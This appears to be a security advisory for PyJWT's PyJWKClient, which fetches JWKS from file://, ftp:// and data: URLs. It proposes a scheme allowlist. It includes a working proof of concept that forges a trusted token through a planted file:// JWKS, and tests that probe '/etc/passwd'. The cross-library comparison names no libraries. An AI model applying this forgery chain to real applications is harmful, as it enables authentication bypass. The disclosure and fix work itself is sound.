PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

• Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
• Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
• No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

• No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
• No existing GitHub issue or PR addressing scheme allowlisting
• No silent fix in CHANGELOG through 2.12.1
• 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.